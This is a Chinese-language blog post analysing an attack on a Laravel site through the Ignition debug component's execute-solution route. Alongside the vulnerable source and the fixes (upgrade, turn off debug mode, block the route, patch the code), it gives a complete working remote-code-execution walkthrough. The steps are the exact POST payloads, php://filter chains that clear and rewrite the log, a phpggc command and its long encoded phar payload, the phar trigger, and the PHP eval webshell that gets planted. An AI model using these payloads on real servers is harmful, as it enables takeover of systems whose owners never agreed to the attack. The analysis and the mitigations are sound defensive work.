背景 近期查看公司項目的請求日誌,發現有一段來自俄羅斯首都莫斯科(根據IP是這樣,沒精力溯源)的異常請求,看傳參就能猜到是EXP攻擊,不是瞎掃描瞎傳參的那種。日誌如下(已做部分修改): [2023-11-17 23:54:34] local.INFO: url : http://xxx/_ignit ...
背景
近期查看公司項目的請求日誌,發現有一段來自俄羅斯首都莫斯科(根據IP是這樣,沒精力溯源)的異常請求,看傳參就能猜到是EXP攻擊,不是瞎掃描瞎傳參的那種。日誌如下(已做部分修改):
[2023-11-17 23:54:34] local.INFO:
url : http://xxx/_ignition/execute-solution
method : POST
ip : 109.237.96.251
ua : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
payload : {"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"zzzz","viewFile":"php:\/\/filter\/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode\/resource=..\/storage\/logs\/laravel.log"}}
file : []
header : {"content-type":"application\/json"}
time : 38.50
mem : 20 MB
user_id : 0
response : ""
還有幾個請求日誌特別長,需要多個請求一起利用才可Pwn,在此處就不展示了。
臨時解決:
發現漏洞時已經是半夜了,考慮到防止公司項目中招又不影響業務。直接封禁了這個莫斯科的IP,並直接在框架的public目錄下建立了_ignition/execute-solution目錄,因為nginx訪問目錄的優先順序比laravel路由優先順序高,再次訪問就是403了。
等配置完了,最後發現是虛驚一場,因為項目用了更高的laravel和Ignition版本,生產與測試環境的版本已經是打過補丁的版本了。
有人說世界上的黑客分兩種,一種是俄羅斯黑客,一種是其它國家的黑客,黑客千千萬,可見俄羅斯黑客的實力。這麼好的對抗黑客案例怎麼能視而不見,值得挑戰,從源碼盤它
漏洞利用環境:
Laravel <= v8.4.2,並需要開啟debug模式。
Ignition <= 2.5.1。
漏洞成因:
整體:
Ignition組件有路由對外開放,且未做充分的過濾邏輯,在Laravel中利用php://filter協議編碼將日誌當做phar文件使用,利用phar反序列化漏洞,組成調用鏈,可生成一句話木馬。
關鍵點:
./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件中的makeOptional中的file_get_contents()參數未進行過濾,參數又是對外的開放的,且run()方法又直接將不安全的數據保存到了文件,部分源碼如下:
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
危險程度:
可生成一句話木馬,利用一句話木馬,PHP可以對文件,對資料庫,進行各種增刪改查操作,相當於伺服器淪陷,危險程度可想而知。
漏洞利用復現步驟:
1. 配置具有RCE的環境,並啟動項目(需開啟Laravel框架debug模式)
git clone https://github.com/laravel/laravel.git
cd laravel
git checkout e849812
composer install
composer require facade/ignition==2.5.1
cp .env.example .env
#使用伺服器啟動項目或者php artisan serve看個人喜好,我的訪問站點是192.168.3.180
2. 發送如下POST請求,如果發現報錯,證明前置流程已經走通。
url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "zzzz",
"viewFile": "larvel.log"
}
}
若程式提示ErrorException: file_get_contents(larvel.log): failed to open stream: No such file or directory in file說明環境配置正確。
3. 發送請求,清空日誌文件,留出空間用於存放漏洞數據數據
#這一步不能報錯,如果報錯,請重新再來
url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "zzzz",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
4. 發送以下內容,用於日誌格式對齊
#這一步報錯沒關係
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
5. 使用phpggc生成phar編碼後的序列化利用POC(註意路徑是定製化的)
#此處的/Host/laravel,實際上是根據之前的報錯信息獲取的,因為開啟了debug模式。
php -d "phar.readonly=0" /test/phpggc/phpggc Laravel/RCE5 "\$c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system(\$c);exec(\$c);shell_exec(\$c);eval('file_put_contents(\"/Host/laravel/public/s.php\", base64_decode(\"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+\"));');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:]+ '=00' for i in sys.stdin.read()]).upper())"
#將生成出來的poc再次發送給laravel項目,記得將亂碼的末尾添加一個a,這一步報錯沒關係
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=6B=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=75=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=51=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=43=00=52=00=6A=00=50=00=53=00=64=00=6C=00=59=00=32=00=68=00=76=00=49=00=46=00=42=00=45=00=4F=00=58=00=64=00=68=00=53=00=45=00=46=00=6E=00=57=00=6C=00=68=00=61=00=61=00=47=00=4A=00=44=00=5A=00=32=00=74=00=59=00=4D=00=55=00=4A=00=51=00=56=00=54=00=46=00=53=00=59=00=6B=00=6F=00=79=00=52=00=57=00=35=00=59=00=55=00=32=00=73=00=33=00=53=00=55=00=51=00=34=00=4B=00=33=00=77=00=67=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=30=00=68=00=76=00=63=00=33=00=51=00=76=00=62=00=47=00=46=00=79=00=59=00=58=00=5A=00=6C=00=62=00=43=00=39=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=76=00=63=00=32=00=56=00=79=00=64=00=6D=00=56=00=79=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=63=00=37=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=6C=00=65=00=47=00=56=00=6A=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=7A=00=61=00=47=00=56=00=73=00=62=00=46=00=39=00=6C=00=65=00=47=00=56=00=6A=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=6C=00=64=00=6D=00=46=00=73=00=4B=00=43=00=64=00=6D=00=61=00=57=00=78=00=6C=00=58=00=33=00=42=00=31=00=64=00=46=00=39=00=6A=00=62=00=32=00=35=00=30=00=5A=00=57=00=35=00=30=00=63=00=79=00=67=00=69=00=4C=00=30=00=68=00=76=00=63=00=33=00=51=00=76=00=62=00=47=00=46=00=79=00=59=00=58=00=5A=00=6C=00=62=00=43=00=39=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=76=00=63=00=79=00=35=00=77=00=61=00=48=00=41=00=69=00=4C=00=43=00=42=00=69=00=59=00=58=00=4E=00=6C=00=4E=00=6A=00=52=00=66=00=5A=00=47=00=56=00=6A=00=62=00=32=00=52=00=6C=00=4B=00=43=00=4A=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=31=00=70=00=59=00=57=00=6D=00=68=00=69=00=51=00=32=00=64=00=72=00=57=00=44=00=46=00=43=00=55=00=46=00=55=00=78=00=55=00=6D=00=4A=00=4B=00=4D=00=6B=00=56=00=75=00=57=00=46=00=4E=00=72=00=4E=00=30=00=6C=00=45=00=4F=00=43=00=73=00=69=00=4B=00=53=00=6B=00=37=00=4A=00=79=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=6E=00=52=00=68=00=54=00=5A=00=51=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=78=00=70=00=55=00=50=00=36=00=64=00=78=00=54=00=61=00=73=00=5A=00=2B=00=50=00=68=00=55=00=73=00=47=00=31=00=6C=00=44=00=31=00=59=00=79=00=47=00=48=00=4A=00=4D=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a"
}
}
6. 發送如下數據,清空對log文件中的其它字元,只留下POC(和清空日誌的一樣)
url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
#如果這一步出錯,請重新再來,這一步不能報錯,如果報錯,下麵的流程走不下去。
7. 使用phar協議觸發序列化生成一句話木馬(註意路徑是定製化的)
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///Host/laravel/storage/logs/laravel.log"
}
}
8. 檢測一句話木馬存在
此時已經在項目的public目錄下,生成了s.php和server.php的一句話木馬,內容為
<?php eval($_POST['eval']) ?>
解決方案
- 或直接升級laravel和Ignition版本,laravel需要8.4.2以上,Ignition需要2.5.1以上。
- 或簡單粗暴,或者直接在public目錄下創建_ignition/execute-solution目錄(千萬別讓強迫症同事刪了,哈哈)。
- 或關閉debug模式。
- 或在vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php的makeOptional()中臨時加入以下代碼:
if (! Str::startsWith($path, ['/', './'])) {
return false;
}
if (! Str::endsWith($path, '.blade.php')) {
return false;
}
//缺點就是代碼庫不會被同步,一般情況下vendor下的文件是不推薦修改的。
擴展知識
facade/ignition 擴展作用
是Laravel debug模式下,在程式報錯時用於展現漂亮的錯誤頁面的擴展。
為什麼要開啟debug模式才有下效
vendor/facade/ignition/src/IgnitionServiceProvider.php中設定的路由有前置中間件,調用了vendor/facade/ignition/src/Http/Middleware/IgnitionEnabled.php中間件,中間件對debug配置有驗證
php://filter協議是什麼
php://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。 這對於一體式(all-in-one)的文件函數非常有用,類似 readfile()、 file() 和 file_get_contents()、file_put_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。
簡單用法案例:
//將字元串base64編碼後存入文件
file_put_contents("php://filter/write=convert.base64-encode/resource=example.txt","Hello World");
//從文件中讀取數據並base64解碼
file_get_contents("php://filter/read=convert.base64-decode/resource=example.txt");
為什麼此次攻擊要用php://filter?
傳入的參數被file_get_contents()接收,file_get_contents()和file_put_contents()支持php://filter協議,起到把轉碼類型的字元串當做代碼來解析的作用。如果傳入php函數會被當做字元串去處理,而不會當做代碼去執行。畢竟php也不會有這麼大漏洞,隨便傳遞php腳本就當做代碼執行。
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log的技術性作用?
|:相當於linux的管道符號。
write:向數據流中寫入數據,後面跟寫入的數據流。
resource:要篩選過濾的數據流,參數跟文件路徑。
convert:代表做格式轉換的關鍵字。
iconv:轉碼關鍵字。
utf-8.utf-16le:utf-8轉為utf-16le編碼,註意轉化後的數據占兩個位元組,還可能會產生不可列印字元。
quoted-printable-decode:將文本轉換為 quoted-printable 格式。Quoted-printable 是一種用於將非 ASCII 字元編碼為 ASCII 字元的傳輸編碼方式,可參考PHP的quoted_printable_encode()函數,用來列印不可見字元的,因為utf-8.utf-16le轉化之後,utf16-le字元的編碼占兩個位元組,會出現一些不可列印的字元,此時為了防止file_get_contents()載入NULL位元組的數據會導致PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line n產生的錯誤。
base64-decode:顧名思義,base64解碼,但要註意,解碼過程中會忽略掉非Base64字元的數據。
../storage/logs/laravel.log:被操作的文件。以public/index.php作為參考系。
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log為什麼會清空日誌?
vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件
makeOptional方法中的讀操作:
參數接受的是原封不動傳遞過來的json,只要$parameters['viewFile']參數存在且可訪問,那麼$originalContents變數就可以獲取日誌的數據,流程能走到這個階段,證明讀文件沒啥問題,此方法後續的代碼可以直接跳過。
run方法中的寫操作:
參數接受的是原封不動傳遞過來的json,makeOptional方法是被上方緊挨著的run方法調用,調用makeOptional方法後只要結果不是false,然後就寫入文件。
所以這次請求的核心邏輯,提取出來,也就相當於
$file_content = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $file_content);
而且viewFile就是php:\/\/filter\/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode\/resource=..\/storage\/logs\/laravel.log
再次精煉:
$file = "php://filter/write=convert.iconv.utf-8.utf-16le|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=F:/a.txt";
file_put_contents($file, 'text');
再次精煉(移除convert.quoted-printable-decode,照樣可清空日誌):
file_put_contents("php://filter/write=convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log", 'aaaabbbcc');
轉化:
file_put_contents參數1可以理解成file_put_contents('../storage/logs/laravel.log', base64_decode(iconv('utf-16le', 'utf-8', file_get_contents('../storage/logs/laravel.log'))));
當base64_decode函數的操作數據無法解碼時會直接忽略,整個日誌文件都無法被base64解碼,base64只能返回空字元串,也就是內容,php://filter中resource參數是用於定位要操作的文件。
由於沒加FILE_APPEND,那麼會導致這個函數會清空文件數據後再在追加數據,追加給誰,和追加什麼數據,就是剛纔說的內容和文件。
file_put_contents參數2參數沒追加到文件中,也可能是這個函數機制問題,曾經反覆嘗試,就是沒有執行。
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log為什麼能在日誌中產生符合phar規範的惡意代碼?
寫入日誌的流程同上,就不過多贅述了。
phpggc用來生成laravel反序列化漏洞,而上文使用php命令行生成phar文件,使用python來轉碼phar文件。
傳入請求後, 只要能到file_get_contents()函數,至少傳入的惡意代碼,是可以寫入到日誌的,那怕是file_get_contents()報錯,因為報錯信息會攜帶編碼過的惡意代碼保存到日誌,這也是能夠傳入惡意payload的主要原因。
當傳入成功之後,進行了一遍quoted-printable-decode,把傳入的payload變成了base64的數據,其餘的日誌不發生變化。然後將utf-16le.utf-8,此時其餘的日誌文件會發生亂碼,但是惡意payload以前已經被轉成utf-16le,此時轉化為utf-8不會報錯,而且能正常解析,到這一步可分離出正常代碼與惡意代碼。此時惡意payload是base64的,但是其餘的亂碼字元不是,由於base64的特性,遇到不是非base64字元的會忽略,然後日誌文件也就剩下惡意代碼了,然後走接下來的file_put_contents流程被寫入日誌,此時的日誌文件已經成為了phar文件,如果使用phar,就可以執行它。
quoted_printable_decode()在本次攻擊中的邏輯作用?
清除日誌時,這個函數沒有什麼作用,關鍵是在嚮日志中傳遞惡意payload時,解碼傳遞的payload為base64格式。
第五步時,python命令暗含quoted_printable_encode()的作用?
在第五步時,已經實現了quoted_printable_encode(),目的是為了防止執行file_get_contents()時\00(空位元組)報錯,為了將不可列印列印出來,轉成ascii,也就是轉化成“=00”。
convert.iconv.utf-16le.utf-8在本次攻擊中的邏輯作用?
作用1:清除日誌:quoted_printable_decode()不會對原始日誌字元串怎麼樣,關鍵是遇到utf-16le轉utf-8之後,會把字元轉為亂碼,而base64解碼只會解析base64能夠生成的字元,utf16le屬於兩個位元組,甚至存在一些不可列印字元,不屬於base64字元的會直接忽略,如果都忽略掉,那麼結果就是空字元,file_put_contents()就會清空日誌文件。
作用2:生成phar字元串:上文已經說明,就是為了分離,惡意代碼與普通日誌。
base64_decode在本次攻擊中的邏輯作用?
清除原始日誌內容,因為原始的日誌內容已經經過上一個管道( convert.iconv.utf-16le.utf-8)的轉化,變成了亂碼,由於base64忽略非base64預定字元的特性,此時再次調用base64解碼,可以清空亂碼的日誌文件,只保留可以被解析的惡意payload。
為什麼會有第四步的日誌格式對齊?
試過填充兩個字母也行,為的是讓編碼能夠更好的對齊,如果沒有對齊會導致解析失敗。
utf-16le解析是通過2個位元組解析的,前面不加東西,某些時候會解析出錯,導致整個利用鏈出錯。包括第5步的日誌最後加的a也同理。就是為了編碼對齊的情況下兩個payload故意錯位來保證攻擊高可用。
因為惡意的payload是嵌入在日誌當中的,想要通過各種轉碼只留下payload,確實需要一些編碼對齊的前提下去轉碼。
在日誌重抽象出來,簡化一下,可以理解為:
[其它日誌內容]PAYLOAD[其它日誌內容]PAYLOAD[其它日誌內容],
此時有兩個payload,其實只要一個payload就行了,但是由於日誌內容長度的不確定性,所以在對齊的情況下要互相錯位,通俗講,對齊後,兩個payload一個使用偶數位元組對齊,一個使用奇數位元組對齊,這樣可以保證不管解析的哪一個,都能有一個對齊成功,另一個對齊失敗。對其成功的就可以正常解析。
這個攻擊邏輯是根據日誌格式倒推出來的。
第4步和第5步的日誌,簡化後的日誌格式如下:請註意=50=00=...=00a所在位置
[2023-11-19 17:30:07] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Host/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Host/laravel/v...', 75, Array)
#1 /Host/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
"}
[2023-11-19 17:30:13] local.ERROR: file_get_contents(=50=00=...=00a): failed to open stream: Invalid argument {"exception":"[object] (ErrorException(code: 0): file_get_contents(=50=00=...=00a): failed to open stream: Invalid argument at /Host/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Host/laravel/v...', 75, Array)
"}
或許難以理解,利用bash shell抽象演示一下這個流程:
#模擬輸出utf-16le字元後重定向到文件,相當於第4步的日誌格式對齊。
#命令說明:echo -n 不輸出行尾的換行符。-e 允許對下麵列出的加反斜線轉義的字元進行解釋
echo -ne '[日誌]P\0A\0Y\0L\0O\0A\0D\0[日誌]P\0A\0Y\0L\0O\0A\0D\0[日誌]' > /test/test.txt
#PHP列印,相當於第6步攻擊
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/test/test.txt');"
ꖗ뿥嶗PAYLOADꖗ뿥嶗PAYLOADꖗ뿥嶗
#如果在日誌中了追加了任意字元"Q"用來模擬對齊,如下:
echo -ne '[日誌]P\0A\0Y\0L\0O\0A\0D\0Q[日誌-]P\0A\0Y\0L\0O\0A\0D\0Q[日誌]' > /test/test.txt
#那麼輸出的就只剩下一個payload了。
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/test/test.txt');"
ꖗ뿥嶗PAYLOAD孑韋鞿偝䄀夀䰀伀䄀䐀儀ꖗ뿥嶗
#但是由於日誌內容的不確定性,也許解析的是前面的payload,也有可能是後面的第二個payload。為了保證攻擊高可用,所以需要故意錯位。
如果沒有對齊會發生什麼?日誌文件太多,還是直接用bash抽象出來:
#故意在頭部加了一個A延時沒對齊的情況:
echo -ne '[日誌]AP\0A\0Y\0L\0O\0A\0D\0[日誌]P\0A\0Y\0L\0O\0A\0D\0[日誌]' > /test/test.txt
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/test/test.txt');"
PHP Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in Command line code on line 1
Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in Command line code on line 1
什麼是phpggc?
開源代碼和官方文檔
PHPGGC全稱PHP Generic Gadget Chains,通用小工具鏈條。
PHPggc通俗講就是CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和Zend框架的反序列化漏洞利用程式,此工具可以產生漏洞利用的惡意代碼。
生成POC時,python -c "import sys;print(''.join(['=' + hex(ord(i))[2:]+ '=00' for i in sys.stdin.read()]).upper())是做什麼的?
python -c command命令行模式下運行。
import sys;:導入 Python 的 sys 模塊,該模塊提供了與 Python 解釋器及其環境交互的功能。
sys.stdin.read() 從標準輸入讀取文本內容。
for i in sys.stdin.read() 迴圈遍歷輸入中的每個字元 i。
ord(i) 返回字元 i 的 ASCII 值。
hex(ord(i))[2:] 將 ASCII 值轉換為十六進位表示,並去掉開頭的 ‘0x’。
=' + hex(ord(i))[2:] + '=00' 組合成 “=ASCII值=00” 的格式。
['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()] 使用列表推導式將每個字元轉換成 “=ASCII值=00” 的格式。
''.join() 將轉換後的每個字元連接起來。
.upper() 將最終結果轉換為大寫形式。
print() 輸出最終的轉換結果。
phar是什麼?
官方文檔·。
phar 擴展提供了一種將整個 PHP 應用程式放入單個叫做“phar”(PHP 歸檔)文件的方法,以便於分發和安裝。 除了提供此服務外,phar 擴展還提供了一種文件格式抽象方法。可以簡單的理解為java的jar包,但是兩者沒有太多的相似性。
什麼是phar反序列化?
Phar 反序列化漏洞是一種存在於 PHP 的 Phar 擴展中的安全漏洞,攻擊者可以利用該漏洞構造惡意代碼併在受害者伺服器上執行任意命令。
攻擊者利用該漏洞通常需要將構造好的惡意代碼先存儲在一個經過篡改的 Phar 文件中,然後將該文件傳遞給目標伺服器併進行反序列化操作,從而導致代碼的執行。
phar:///Host/laravel/storage/logs/laravel.log流程
phar相當於jar包,所以打開有亂碼的情況,所以利用phpggc直接執行(註意此處的路徑是自定義的):
php /test/phpggc/phpggc Laravel/RCE5 "\$c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system(\$c);exec(\$c);shell_exec(\$c);eval('file_put_contents(\"/Host/laravel/public/s.php\", base64_decode(\"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+\"));');"
可查看原始的反序列化字元串:
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:25:"Illuminate\Bus\Dispatcher":1:{s:16:"*queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;s:4:"load";}}s:8:"*event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{s:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{s:9:"*config";O:35:"Mockery\Generator\MockConfiguration":1:{s:7:"*name";s:7:"abcdefg";}s:7:"*code";s:254:"<?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?>";}}}
手動格式化後:
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{
s:9:"*events";
O:25:"Illuminate\Bus\Dispatcher":1:{
s:16:"*queueResolver";
a:2:{
i:0;
O:25:"Mockery\Loader\EvalLoader":0:{}i:1;
s:4:"load";
}
}
s:8:"*event";
